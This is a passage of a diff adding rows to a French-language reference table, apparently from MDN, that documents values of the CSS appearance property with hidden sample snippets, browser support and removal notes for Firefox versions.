+  <tr>
+   <td><code>media-seek-back-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-seek-back-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-seek-back-button;
+-webkit-appearance: media-seek-back-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-seek-back-button",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-seek-forward-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-seek-forward-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-seek-forward-button;
+-webkit-appearance: media-seek-forward-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-seek-forward-button",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-toggle-closed-captions-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaToggleClosedCaptionsButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-toggle-closed-captions-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaToggleClosedCaptionsButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-slider</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaSlider">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-slider; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaSlider",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-sliderthumb</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaSliderThumb">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-sliderthumb; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaSliderThumb",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-volume-slider-container</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaVolumeSliderContainer">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-volume-slider-container; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaVolumeSliderContainer",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-volume-slider-mute-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-volume-slider-mute-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-volume-slider-mute-button;
+-webkit-appearance: media-volume-slider-mute-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-volume-slider-mute-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-volume-slider</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaVolumeSlider">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-volume-slider; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaVolumeSlider",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-volume-sliderthumb</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaVolumeSliderThumb">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-volume-slider-thumb; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaVolumeSliderThumb",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-controls-background</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaControlsBackground">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-controls-background; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaControlsBackground",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-controls-dark-bar-background</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-controls-dark-bar-background">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-controls-dark-bar-background;
+-webkit-appearance: media-controls-dark-bar-background; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-controls-dark-bar-background",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-controls-fullscreen-background</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaControlsFullscreenBackground">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-controls-fullscreen-background; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaControlsFullscreenBackground",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-controls-light-bar-background</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-controls-light-bar-background">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-controls-light-bar-background;
+-webkit-appearance: media-controls-light-bar-background; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-controls-light-bar-background",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-current-time-display</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaCurrentTimeDisplay">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-current-time-display; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaCurrentTimeDisplay",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-time-remaining-display</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaTimeRemainingDisplay">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-time-remaining-display; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaTimeRemainingDisplay",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>menuarrow</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuArrow">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuarrow;
+-webkit-appearance: menuarrow; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuArrow",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>menubar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenubar">
+    <pre class="brush: css">
+div { color: balck;
+-moz-appearance: menubar;
+-webkit-appearance: menubar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenubar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>menucheckbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuCheckbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menucheckbox;
+-webkit-appearance: menucheckbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuCheckbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>menuimage</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuImage">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuimage;
+-webkit-appearance: menuimage; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuImage",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>menuitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuItem">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuitem;
+-webkit-appearance: menuitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuItem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64, l'élément était mis en forme à la façon d'un élément de menu et l'élément était surligné au survol.</td>
+  </tr>
+  <tr>
+   <td><code>menuitemtext</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuItemText">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuitemtext;
+-webkit-appearance: menuitemtext; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuItemText",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>menulist</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuList">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menulist;
+-webkit-appearance: menulist; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuList",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>menulist-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuListButton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menulist-button;
+-webkit-appearance: menulist-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuListButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>L'élément est mis en forme comme un bouton indicant qu'un menu peut être ouvert.</td>
+  </tr>
+  <tr>
+   <td><code>menulist-text</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuListText">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menulist-text;
+-webkit-appearance: menulist-text; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuListText",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>menulist-textfield</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuListTextfield">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menulist-textfield;
+-webkit-appearance: menulist-textfield; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuListTextfield",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>L'élément est mis en forme comme un champ texte d'une liste de menu (non implémenté pour Windows).</td>
+  </tr>
+  <tr>
+   <td><code>menupopup</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuPopup">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menupopup;
+-webkit-appearance: menupopup; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuPopup",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>menuradio</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuRadio">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuradio;
+-webkit-appearance: menuradio; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuRadio",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>menuseparator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuSeparator">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: menuseparator;
+-webkit-appearance: menuseparator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuSeparator",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>meter</code></td>
+   <td>
+    <div class="hidden" id="sampleMeter">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: meter; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMeter",100,50,"","", "nobutton")}}</td>
+   <td>
+    <p>Chrome Safari Firefox</p>
+   </td>
+   <td>
+    <p>Apparu avec Fx 64</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>meterbar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMeterbar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: meterbar;
+-webkit-appearance: meterbar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMeterbar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Apparu avec Fx 16. Utiliser la valeur <code>meter</code> à la place.</td>
+  </tr>
+  <tr>
+   <td><code>meterchunk</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMeterchunk">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: meterchunk;
+-webkit-appearance: meterchunk; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMeterchunk",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Apparu avec Fx 16. Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>number-input</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleNumberinput">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: number-input;
+-webkit-appearance: number-input; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleNumberInput",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>progress-bar</code></td>
+   <td>
+    <div class="hidden" id="sampleProgressBarWebkit">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: progress-bar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBarWebkit",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari FIrefox</td>
+   <td>Apparu avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>progress-bar-value</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressBarValueWebkit">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: progress-bar-value; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBarValueWebkit",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>progressbar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressBar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: progressbar;
+-webkit-appearance: progressbar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>L'élément est mis en forme comme une barre de progression. On utilisera <code>progress-bar</code> à la place.</td>
+  </tr>
+  <tr>
+   <td><code>progressbar-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressBarVertical">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: progressbar-vertical;
+-webkit-appearance: preogressbar-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBarVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>progresschunk</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressChunk">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: progresschunk;
+-webkit-appearance: progresschunk; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressChunk",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>progresschunk-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressChunkVertical">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: progresschunk-vertical;
+-webkit-appearance: progresschunk-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressChunkVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>push-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="samplePushButton">
+    <pre class="brush: css">
+div{ color: black; -webkit-appearance: push-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("samplePushButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>radio</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRadio">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: radio;
+-webkit-appearance: radio; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadio",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>L'élément est dessiné comme un bouton radio. Seule la partie correspondant au bouton est incluse.</td>
+  </tr>
+  <tr>
+   <td><code>radio-container</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRadioContainer">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: radio-container;
+-webkit-appearance: radio-container; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadioContainer",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64, l'élément est dessiné comme un conteneur de bouton radio. Cette mise en forme peut inclure une ombre portée sous le bouton pour certaines plateformes. L'élément contient normalement un libellé et un bouton radio.</td>
+  </tr>
+  <tr>
+   <td><code>radio-label</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRadioLabel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: radio-label;
+-webkit-appearance: radio-label; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadioLabel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>radiomenuitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRadioMenuItem">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: radiomenuitem;
+-webkit-appearance: radiomenuitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadioMenuItem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>range</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRange">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: range;
+-webkit-appearance: range; }</pre>
+    range
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRange",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>range-thumb</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRangeThumb">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: range-thumb;
+-webkit-appearance: range-thumb; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRangeThumb",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>rating-level-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-rating-level-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: rating-level-indicator;
+-webkit-appearance: rating-level-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-rating-level-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>resizer</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleResizer">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: resizer;
+-webkit-appearance: resizer; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleResizer",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 63</td>
+  </tr>
+  <tr>
+   <td><code>resizerpanel</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleResizerPanel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: resizerpanel;
+-webkit-appearance: resizerpanel; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleResizerPanel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 63.</td>
+  </tr>
+  <tr>
+   <td><code>scale-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleHorizontal">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: scale-horizontal;
+-webkit-appearance: scale-horizontal; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scalethumbend</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleThumbEnd">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scalethumbend;
+-webkit-appearance: scalethumbend; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleThumbEnd",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scalethumb-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleThumbHorizontal">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: scalethumb-horizontal;
+-webkit-appearance: scalethumb-horizontal; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scalethumbstart</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleThumbStart">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scalethumbstart;
+-webkit-appearance: scalethumbstart; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbStart",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scalethumbtick</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleThumbTick">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scalethumbtick;
+-webkit-appearance: scalethumbtick; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbTick",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scalethumb-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleThumbVertical">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scalethumb-vertical;
+-webkit-appearance: scalethumb-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scale-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleVertical">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: scale-vertical;
+-webkit-appearance: scale-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-down</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarButtonDown">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarbutton-down;
+-webkit-appearance: scrollbarbutton-down; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonDown",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 63.</td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-left</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarButtonLeft">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarbutton-left;
+-webkit-appearance: scrollbarbutton-left; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonLeft",100,50,"","", "nobutton")}}</td>
